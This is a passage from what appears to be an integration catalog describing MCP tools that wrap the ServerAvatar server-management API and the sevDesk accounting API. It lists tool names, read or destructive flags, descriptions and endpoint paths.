permalink rewrite rules. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/rewrite/flush. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/rewrite/flush. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_wordpress_toolkit_search_replace (write) — Run a database-wide search and replace (useful after domain or URL changes). Requires the WordPress Toolkit add-on. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/search-replace. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/search-replace. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_wordpress_toolkit_site_settings (write) — Read and update WordPress general settings: language, timezone, date/time formats, permalinks, search engine visibility, and WordPress memory limits. Requires the WordPress Toolkit add-on. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/site-settings. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/site-settings. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_wordpress_toolkit_themes_activate (write) — Install, update, activate, and uninstall WordPress themes from WordPress.org. Requires the WordPress Toolkit add-on. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/themes/activate. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/themes/activate. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_wordpress_toolkit_themes_update (write) — Install, update, activate, and uninstall WordPress themes from WordPress.org. Requires the WordPress Toolkit add-on. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/themes/update. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/themes/update. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_wordpress_toolkit_themes_update_all (write) — Install, update, activate, and uninstall WordPress themes from WordPress.org. Requires the WordPress Toolkit add-on. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/themes/update-all. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/themes/update-all. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_wordpress_toolkit_wp_cron_mode (write) — Switch between built-in WP Cron and a server-side cron job that runs wp-cron.php every five minutes. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/wp-cron/mode. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/wp-cron/mode. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_applications_by_application_wordpress_toolkit_wp_cron_run (write) — Execute WordPress cron events manually. Calls PATCH /organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/wp-cron/run. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/wp-cron/run. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_backups_by_backupconfiguration (write) — Use this method to update an existing schedule backup. Calls PATCH /organizations/{organization}/servers/{server}/backups/{backupConfiguration}. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/backups/{backupConfiguration}. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_change_root_password (write) — This API endpoint allows users to change the root password for a specified server. The request must include the new password and follow certain validation rules. Calls PATCH /organizations/{organization}/servers/{server}/change-root-password. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/change-root-password. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_cronjobs_by_cronjob (write) — Update the specific cronjob schedule. Calls PATCH /organizations/{organization}/servers/{server}/cronjobs/{cronjob}. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/cronjobs/{cronjob}. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_databases_by_database_database_users_by_database_user (write) — To update database user for the database. Calls PATCH /organizations/{organization}/servers/{server}/databases/{database}/database-users/{database_user}. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/databases/{database}/database-users/{database_user}. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_hosting_user_by_hosting_user (write) — To update a control panel access user. Calls PATCH /organizations/{organization}/servers/{server}/hosting-user/{hosting_user}. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/hosting-user/{hosting_user}. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_restart_server (write) — Set the server restart schedule. Calls PATCH /organizations/{organization}/servers/{server}/restart-server. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/restart-server. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_services_install_php_version (write) — Install Specific PHP Version on the server. Calls PATCH /organizations/{organization}/servers/{server}/services/install-php-version. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/services/install-php-version. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_services_php_fpm (write) — Update PHP-FPM Content. Calls PATCH /organizations/{organization}/servers/{server}/services/php-fpm. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/services/php-fpm. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_system_users_by_system_user (write) — Update tha password of the application user or toggle the SSH key. Calls PATCH /organizations/{organization}/servers/{server}/system-users/{system_user}. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/system-users/{system_user}. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_system_users_by_system_user_ssh_root_access (write) — Enable or disable the SSH root access for the application user. Calls PATCH /organizations/{organization}/servers/{server}/system-users/{system_user}/ssh-root-access. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/system-users/{system_user}/ssh-root-access. Scopes: api. serveravatar_patch_organizations_by_organization_servers_by_server_tags (write) — Update the tags associated with a specific server for better categorization and management. Calls PATCH /organizations/{organization}/servers/{server}/tags. PATCH /api/v1/serveravatar/organizations/{organization}/servers/{server}/tags. Scopes: api. serveravatar_patch_wordpress_blueprints_by_wordpressblueprint (write) — Update an existing WordPress blueprint. Requires an active WordPress Toolkit add-on on the account. Uses the same request body fields as Create Blueprint. Calls PATCH /wordpress-blueprints/{wordpressBlueprint}. PATCH /api/v1/serveravatar/wordpress-blueprints/{wordpressBlueprint}. Scopes: api. serveravatar_post_organizations (write) — Create a new organization. Calls POST /organizations. POST /api/v1/serveravatar/organizations. Scopes: api. serveravatar_post_organizations_by_organization_backups_by_backup_restore_to_another_server (write) — Restore the backup. Calls POST /organizations/{organization}/backups/{backup}/restore-to-another-server. POST /api/v1/serveravatar/organizations/{organization}/backups/{backup}/restore-to-another-server. Scopes: api. serveravatar_post_organizations_by_organization_backups_destroy (write, destructive) — Delete the created backup and Backup data will be removed from your storage area. Calls POST /organizations/{organization}/backups/destroy. POST /api/v1/serveravatar/organizations/{organization}/backups/destroy. Scopes: api. serveravatar_post_organizations_by_organization_direct_installation_generate_command (write) — Connect a new server inside the organization. Calls POST /organizations/{organization}/direct-installation/generate-command. POST /api/v1/serveravatar/organizations/{organization}/direct-installation/generate-command. Scopes: api. serveravatar_post_organizations_by_organization_git_providers_by_provider_id_branches (write) — List of selected repository's branch. Calls POST /organizations/{organization}/git-providers/{provider_id}/branches. POST /api/v1/serveravatar/organizations/{organization}/git-providers/{provider_id}/branches. Scopes: api. serveravatar_post_organizations_by_organization_servers (write) — Connect a server using Amazon Lightsail, DigitalOcean, Vultr, Linode, or Hetzner server provider. Calls POST /organizations/{organization}/servers. POST /api/v1/serveravatar/organizations/{organization}/servers. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_alert (write) — Update the alert. Calls POST /organizations/{organization}/servers/{server}/alert. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/alert. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_applications (write) — Create an application on the server. Calls POST /organizations/{organization}/servers/{server}/applications. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_applications_by_application_add_database (write) — Add Database to Application. Calls POST /organizations/{organization}/servers/{server}/applications/{application}/add-database. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/add-database. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_applications_by_application_application_domains (write) — Add a new application domain for the application. Calls POST /organizations/{organization}/servers/{server}/applications/{application}/application-domains. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/application-domains. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_applications_by_application_basic_authentication (write) — This API endpoint allows users to manage basic authentication for a specified application on a server. It includes retrieving, creating, and disabling basic authentication. Calls POST /organizations/{organization}/servers/{server}/applications/{application}/basic-authentication. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/basic-authentication. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_applications_by_application_dns_manager_dns_records (write) — Create DNS Records. Calls POST /organizations/{organization}/servers/{server}/applications/{application}/dns-manager/dns-records. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/dns-manager/dns-records. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_applications_by_application_fail2ban (write) — Create or Update Custom Fail2ban for Application. Calls POST /organizations/{organization}/servers/{server}/applications/{application}/fail2ban. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/fail2ban. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_applications_by_application_firewall_8g_toggle (write) — Enable or disable the 8G Firewall on a specific application. This applies application-level firewall rules on the server web stack (Nginx, Apache, or OpenLiteSpeed). Requires the 8G Firewall permission at the application level. The current 8G Firewall status can be checked in the 8g_firewall field of the Application Show API response. Calls POST /organizations/{organization}/servers/{server}/applications/{application}/firewall/8g/toggle. ServerAvatar's documentation names the '8G Firewall' permission for this, which is an organization MEMBER permission from Team Management rather than something an API key is minted with. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/firewall/8g/toggle. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_applications_by_application_git_checkout (write) — Git deployment in checkout branch. Calls POST /organizations/{organization}/servers/{server}/applications/{application}/git/checkout. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/git/checkout. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_applications_by_application_git_script (write) — Use this method to create a git deployment script. Calls POST /organizations/{organization}/servers/{server}/applications/{application}/git/script. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/git/script. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_applications_by_application_node_deployment_pm2_log (write) — Retrieve pm2 log for a specific SSR Node application on a Node Stack server. Calls POST /organizations/{organization}/servers/{server}/applications/{application}/node-deployment/pm2-log. ADDRESS CORRECTED BY MEASUREMENT: the doc page omits the /organizations/{organization} prefix that every sibling node-deployment route carries. Measured 2026-09-24 with a valid key: the documented address answers 404 'The route servers/1/applications/1/node-deployment/pm2-log could not be found.' (no such route) while the prefixed address answers 404 'Record Not Found!' (the route exists; this account has no server 1). The page is wrong, not the API. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/node-deployment/pm2-log. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_applications_by_application_remove_database (write, destructive) — Remove Database from Application. Calls POST /organizations/{organization}/servers/{server}/applications/{application}/remove-database. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/remove-database. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_applications_by_application_staging_area (write) — Create a staging area. Calls POST /organizations/{organization}/servers/{server}/applications/{application}/staging-area. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/staging-area. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_applications_by_application_supervisors (write) — To create a supervisor. Calls POST /organizations/{organization}/servers/{server}/applications/{application}/supervisors. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/supervisors. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_applications_by_application_wordpress_toolkit_debug_update (write) — Update a single debug constant in wp-config.php. Calls POST /organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/debug/update. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/debug/update. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_applications_by_application_wordpress_toolkit_object_cache_pro_disable (write) — Deactivate and remove the Object Cache Pro plugin and clear related Redis configuration from wp-config.php. Calls POST /organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/object-cache-pro/disable. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/object-cache-pro/disable. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_applications_by_application_wordpress_toolkit_object_cache_pro_enable (write) — Enable Redis object caching with Object Cache Pro for the target WordPress site. Provide a valid Object Cache Pro license key from your Object Cache Pro account (opens new window). ServerAvatar does not sell or supply license keys. Prerequisites: Redis must be installed on the server and the application must be WordPress. Calls POST /organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/object-cache-pro/enable. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/object-cache-pro/enable. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_applications_by_application_wordpress_toolkit_plugins_install (write) — Install, update, activate, deactivate, and uninstall WordPress plugins from WordPress.org. Requires the WordPress Toolkit add-on. Calls POST /organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/plugins/install. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/plugins/install. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_applications_by_application_wordpress_toolkit_themes_install (write) — Install, update, activate, and uninstall WordPress themes from WordPress.org. Requires the WordPress Toolkit add-on. Calls POST /organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/themes/install. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/applications/{application}/wordpress-toolkit/themes/install. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_backups (write) — Use this method to create a fresh backup. Calls POST /organizations/{organization}/servers/{server}/backups. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/backups. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_cronjobs (write) — Create a new cronjob schedule for the server. Calls POST /organizations/{organization}/servers/{server}/cronjobs. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/cronjobs. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_databases (write) — To create a database. Calls POST /organizations/{organization}/servers/{server}/databases. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/databases. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_databases_by_database_database_users (write) — To create database user for the database. Calls POST /organizations/{organization}/servers/{server}/databases/{database}/database-users. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/databases/{database}/database-users. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_databases_by_database_database_users_delete (write, destructive) — To delete the database user. You can not retrieve the database user once you delete it. Calls POST /organizations/{organization}/servers/{server}/databases/{database}/database-users/delete. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/databases/{database}/database-users/delete. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_disk_cleaner (write) — Disk Clean. Calls POST /organizations/{organization}/servers/{server}/disk-cleaner. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/disk-cleaner. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_fail2ban (write) — Update config in SSH Fail2ban. Calls POST /organizations/{organization}/servers/{server}/fail2ban. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/fail2ban. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_fail2ban_by_fail2ban_ban_ip (write) — Create Ban Ip in Jail. Calls POST /organizations/{organization}/servers/{server}/fail2ban/{fail2ban}/ban-ip. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/fail2ban/{fail2ban}/ban-ip. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_fail2ban_by_fail2ban_ignore_ip (write) — Create Ignore Ip in Jail. Calls POST /organizations/{organization}/servers/{server}/fail2ban/{fail2ban}/ignore-ip. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/fail2ban/{fail2ban}/ignore-ip. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_fail2ban_by_fail2ban_remove_ignore_ip (write, destructive) — Remove Ignore Ip in Jail. Calls POST /organizations/{organization}/servers/{server}/fail2ban/{fail2ban}/remove-ignore-ip. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/fail2ban/{fail2ban}/remove-ignore-ip. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_fail2ban_by_fail2ban_unban_ip (write, destructive) — Unban Ip in Jail. Calls POST /organizations/{organization}/servers/{server}/fail2ban/{fail2ban}/unban-ip. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/fail2ban/{fail2ban}/unban-ip. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_firewall_rules (write) — Create a new firewall rule for the server. Calls POST /organizations/{organization}/servers/{server}/firewall-rules. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/firewall-rules. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_hosting_user (write) — To enable a control panel access user. Calls POST /organizations/{organization}/servers/{server}/hosting-user. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/hosting-user. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_logs (write) — Fetch the logs of the particular files. Calls POST /organizations/{organization}/servers/{server}/logs. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/logs. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_phpmyadmin_login (write) — Generate a one-click phpMyAdmin login URL for a database user. The server must use MySQL or MariaDB. The selected application must be a phpMyAdmin application on the same server as the database user. The database user connection preference must be localhost or everywhere. The returned URL is valid for 1 minute. Open it in a browser to sign in to phpMyAdmin without entering database credentials manually. Calls POST /organizations/{organization}/servers/{server}/phpmyadmin/login. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/phpmyadmin/login. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_services (write) — Update services on the server. Calls POST /organizations/{organization}/servers/{server}/services. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/services. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_services_php_fpm (write) — Get a list of all services. Calls POST /organizations/{organization}/servers/{server}/services/php-fpm. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/services/php-fpm. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_settings_general (write) — General Settings. Calls POST /organizations/{organization}/servers/{server}/settings/general. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/settings/general. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_settings_security (write) — Security Settings. Calls POST /organizations/{organization}/servers/{server}/settings/security. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/settings/security. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_site_migrations (write) — Create an application site-clone. Calls POST /organizations/{organization}/servers/{server}/site-migrations. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/site-migrations. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_system_users (write) — Create an application user for the application. Calls POST /organizations/{organization}/servers/{server}/system-users. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/system-users. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_system_users_delete (write, destructive) — Delete the specific application user of the application. Calls POST /organizations/{organization}/servers/{server}/system-users/delete. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/system-users/delete. Scopes: api. serveravatar_post_organizations_by_organization_servers_by_server_web_page (write) — Update a detail of web server default-page. Calls POST /organizations/{organization}/servers/{server}/web-page. POST /api/v1/serveravatar/organizations/{organization}/servers/{server}/web-page. Scopes: api. serveravatar_post_wordpress_blueprints (write) — Create a WordPress blueprint for the authenticated account. Requires an active WordPress Toolkit add-on on the account (purchased via the ServerAvatar dashboard; not available through the API). Calls POST /wordpress-blueprints. POST /api/v1/serveravatar/wordpress-blueprints. Scopes: api. ================================================================================ ## sevDesk URL: https://www.agenticfabriq.com/integrations/sevdesk Section: Integrated Tools sevDesk — 153 MCP tools Provider key: sevdesk. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. sevdesk_delete_accountingcontact_by_accountingcontactid (write, destructive) — Deletes an accounting contact via DELETE /AccountingContact/{accountingContactId}. Attention, deleting an existing AccountingContact can lead to **booking errors**, especially in the **DATEV export**. Compatibility of sevdesk with DATEV is no longer guaranteed. DELETE /api/v1/sevdesk/AccountingContact/{accountingContactId}. Scopes: api. sevdesk_delete_checkaccount_by_checkaccountid (write, destructive) — Deletes a check account via DELETE /CheckAccount/{checkAccountId} DELETE /api/v1/sevdesk/CheckAccount/{checkAccountId}. Scopes: api. sevdesk_delete_checkaccounttransaction_by_checkaccounttransactionid (write, destructive) — Deletes a check account transaction via DELETE /CheckAccountTransaction/{checkAccountTransactionId} DELETE /api/v1/sevdesk/CheckAccountTransaction/{checkAccountTransactionId}. Scopes: api. sevdesk_delete_communicationway_by_communicationwayid (write, destructive) — Deletes a communication way via DELETE /CommunicationWay/{communicationWayId} DELETE /api/v1/sevdesk/CommunicationWay/{communicationWayId}. Scopes: api. sevdesk_delete_contact_by_contactid (write, destructive) — Deletes a contact via DELETE /Contact/{contactId} DELETE /api/v1/sevdesk/Contact/{contactId}. Scopes: api. sevdesk_delete_contactaddress_by_contactaddressid (write, destructive) — Deletes a contact address via DELETE /ContactAddress/{contactAddressId} DELETE /api/v1/sevdesk/ContactAddress/{contactAddressId}. Scopes: api. sevdesk_delete_contactcustomfield_by_contactcustomfieldid (write, destructive) — delete a contact field via DELETE /ContactCustomField/{contactCustomFieldId} DELETE /api/v1/sevdesk/ContactCustomField/{contactCustomFieldId}. Scopes: api. sevdesk_delete_contactcustomfieldsetting_by_contactcustomfieldsettingid (write, destructive) — Deletes a contact field setting via DELETE /ContactCustomFieldSetting/{contactCustomFieldSettingId} DELETE /api/v1/sevdesk/ContactCustomFieldSetting/{contactCustomFieldSettingId}. Scopes: api. sevdesk_delete_creditnote_by_creditnoteid (write, destructive) — Deletes an creditNote via DELETE /CreditNote/{creditNoteId} DELETE /api/v1/sevdesk/CreditNote/{creditNoteId}. Scopes: api. sevdesk_delete_order_by_orderid (write, destructive) — Deletes an order via DELETE /Order/{orderId} DELETE /api/v1/sevdesk/Order/{orderId}. Scopes: api. sevdesk_delete_orderpos_by_orderposid (write, destructive) — Deletes an order Position via DELETE /OrderPos/{orderPosId} DELETE /api/v1/sevdesk/OrderPos/{orderPosId}. Scopes: api. sevdesk_delete_privatetransactionrule_by_id (write, destructive) — Delete the rule by id via DELETE /PrivateTransactionRule/{id} DELETE /api/v1/sevdesk/PrivateTransactionRule/{id}. Scopes: api. sevdesk_delete_tag_by_tagid (write, destructive) — Deletes a tag via DELETE /Tag/{tagId} DELETE /api/v1/sevdesk/Tag/{tagId}. Scopes: api. sevdesk_get_accountingcontact (read) — Retrieve accounting contact via GET /AccountingContact. Returns all accounting contact which have been added up until now. Filters can be added. This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/AccountingContact. Scopes: api. sevdesk_get_accountingcontact_by_accountingcontactid (read) — Find accounting contact by ID via GET /AccountingContact/{accountingContactId}. Returns a single accounting contac GET /api/v1/sevdesk/AccountingContact/{accountingContactId}. Scopes: api. sevdesk_get_checkaccount (read) — Retrieve check accounts via GET /CheckAccount. Retrieve all check accounts This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/CheckAccount. Scopes: api. sevdesk_get_checkaccount_by_checkaccountid (read) — Find check account by ID via GET /CheckAccount/{checkAccountId}. Retrieve an existing check account GET /api/v1/sevdesk/CheckAccount/{checkAccountId}. Scopes: api. sevdesk_get_checkaccount_by_checkaccountid_getbalanceatdate (read) — Get the balance at a given date via GET /CheckAccount/{checkAccountId}/getBalanceAtDate. Get the balance, calculated as the sum of all transactions sevdesk knows, up to and including the given date. Note that this balance does not have to be the actual bank account balance, e.g. if sevdesk did not import old transactions. GET /api/v1/sevdesk/CheckAccount/{checkAccountId}/getBalanceAtDate. Scopes: api. sevdesk_get_checkaccounttransaction (read) — Retrieve transactions via GET /CheckAccountTransaction. Retrieve all transactions depending on the filters defined in the query. This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/CheckAccountTransaction. Scopes: api. sevdesk_get_checkaccounttransaction_by_checkaccounttransactionid (read) — Find check account transaction by ID via GET /CheckAccountTransaction/{checkAccountTransactionId}. Retrieve an existing check account transaction GET /api/v1/sevdesk/CheckAccountTransaction/{checkAccountTransactionId}. Scopes: api. sevdesk_get_communicationway (read) — Retrieve communication ways via GET /CommunicationWay. Returns all communication ways which have been added up until now. Filters can be added. This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/CommunicationWay. Scopes: api. sevdesk_get_communicationway_by_communicationwayid (read) — Find communication way by ID via GET /CommunicationWay/{communicationWayId}. Returns a single communication way GET /api/v1/sevdesk/CommunicationWay/{communicationWayId}. Scopes: api. sevdesk_get_communicationwaykey (read) — Retrieve communication way keys via GET /CommunicationWayKey. Returns all communication way keys. This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/CommunicationWayKey. Scopes: api. sevdesk_get_contact (read) — Retrieve contacts via GET /Contact. There are a multitude of parameter which can be used to filter.<br> A few of them are attached but for a complete list please check out <a href='#tag/Contact/How-to-filter-for-certain-contacts'>this</a> list This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/Contact. Scopes: api. sevdesk_get_contact_by_contactid (read) — Find contact by ID via GET /Contact/{contactId}. Returns a single contact GET /api/v1/sevdesk/Contact/{contactId}. Scopes: api. sevdesk_get_contact_by_contactid_gettabsitemcount (read) — Get number of all items via GET /Contact/{contactId}/getTabsItemCount. Get number of all invoices, orders, etc. of a specified contact GET /api/v1/sevdesk/Contact/{contactId}/getTabsItemCount. Scopes: api. sevdesk_get_contact_factory_findcontactsbycustomfieldvalue (read) — Find contacts by custom field value via GET /Contact/Factory/findContactsByCustomFieldValue. Returns an array of contacts having a certain custom field value set. This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/Contact/Factory/findContactsByCustomFieldValue. Scopes: api. sevdesk_get_contact_factory_getnextcustomernumber (read) — Get next free customer number via GET /Contact/Factory/getNextCustomerNumber. Retrieves the next available customer number. Avoids duplicates. This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/Contact/Factory/getNextCustomerNumber. Scopes: api. sevdesk_get_contact_mapper_checkcustomernumberavailability (read) — Check if a customer number is available via GET /Contact/Mapper/checkCustomerNumberAvailability. Checks if a given customer number is available or already used. This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/Contact/Mapper/checkCustomerNumberAvailability. Scopes: api. sevdesk_get_contactaddress (read) — Retrieve contact addresses via GET /ContactAddress. Retrieve all contact addresses This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/ContactAddress. Scopes: api. sevdesk_get_contactaddress_by_contactaddressid (read) — Find contact address by ID via GET /ContactAddress/{contactAddressId}. Returns a single contact address GET /api/v1/sevdesk/ContactAddress/{contactAddressId}. Scopes: api. sevdesk_get_contactcustomfield (read) — Get Contact Fields via GET /ContactCustomField. Retrieve all contact fields This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/ContactCustomField. Scopes: api. sevdesk_get_contactcustomfield_by_contactcustomfieldid (read) — Get Contact Fields By ID via GET /ContactCustomField/{contactCustomFieldId}. Retrieve all contact fields GET /api/v1/sevdesk/ContactCustomField/{contactCustomFieldId}. Scopes: api. sevdesk_get_contactcustomfieldsetting (read) — Retrieve contact field settings via GET /ContactCustomFieldSetting. Retrieve all contact field settings This read takes no limit or offset: sevDesk's specification declares pagination on three operations only, so the whole collection comes back in one response envelope ({"total": ..., "objects": [...]}) and there is nothing to page with. GET /api/v1/sevdesk/ContactCustomFieldSetting. 